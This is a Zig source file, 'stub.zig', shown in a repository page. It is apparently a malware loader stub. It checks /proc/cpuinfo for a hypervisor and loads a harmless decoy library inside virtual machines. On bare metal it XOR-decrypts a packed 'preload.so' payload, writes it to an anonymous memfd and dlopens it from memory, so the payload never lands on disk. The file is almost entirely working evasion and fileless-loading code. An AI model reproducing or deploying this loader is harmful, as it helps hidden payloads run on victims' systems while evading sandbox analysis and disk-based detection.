-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathstub.zig
More file actions
74 lines (59 loc) · 2.22 KB
/
stub.zig
File metadata and controls
74 lines (59 loc) · 2.22 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
const std = @import("std");
const c = @cImport({
@cDefine("_GNU_SOURCE", {});
@cInclude("dlfcn.h");
@cInclude("stdio.h");
@cInclude("unistd.h");
});
const xor = @import("xor.zig");
const max_file_size = 10 * 1024 * 1024;
const SYS_memfd_create = std.os.linux.SYS.memfd_create;
fn memfd_create(name: [*:0]const u8, flags: c_uint) c_int {
return @intCast(std.os.linux.syscall2(SYS_memfd_create, @intFromPtr(name), @intCast(flags)));
}
fn is_virtualized() bool {
const file = c.fopen("/proc/cpuinfo", "r") orelse return false;
defer _ = c.fclose(file);
var buf: [4096]u8 = undefined;
const n = c.fread(&buf, 1, buf.len, file);
return std.mem.indexOf(u8, buf[0..n], "hypervisor") != null;
}
fn load_so_from_memory(data: []u8) !?*anyopaque {
const fd = memfd_create("", 0);
if (fd < 0) return error.MemfdFailed;
defer _ = c.close(fd);
var written: usize = 0;
while (written < data.len) {
const n = c.write(fd, data.ptr + written, data.len - written);
if (n < 0) return error.WriteFailed;
written += @intCast(n);
}
var fd_path: [64]u8 = undefined;
const path = try std.fmt.bufPrintZ(&fd_path, "/proc/self/fd/{d}", .{fd});
return c.dlopen(path.ptr, c.RTLD_NOW);
}
fn decrypt_and_load(allocator: std.mem.Allocator, path: []const u8, key: u8) !?*anyopaque {
const file = try std.fs.cwd().openFile(path, .{});
defer file.close();
const data = try file.readToEndAlloc(allocator, max_file_size);
defer allocator.free(data);
xor.crypt(data, key);
return load_so_from_memory(data);
}
pub fn main() !void {
const allocator = std.heap.page_allocator;
const xor_key: u8 = 0x42;
const virtualized = is_virtualized();
if (virtualized) {
std.debug.print("[STUB] VM detected - loading decoy\n", .{});
} else {
std.debug.print("[STUB] Bare metal - loading payload\n", .{});
}
const packed_path = if (virtualized) "decoy.so.packed" else "preload.so.packed";
const handle = try decrypt_and_load(allocator, packed_path, xor_key);
if (handle == null) {
std.debug.print("dlopen failed: {s}\n", .{c.dlerror()});
return error.DlopenFailed;
}
std.debug.print("Loaded successfully\n", .{});
}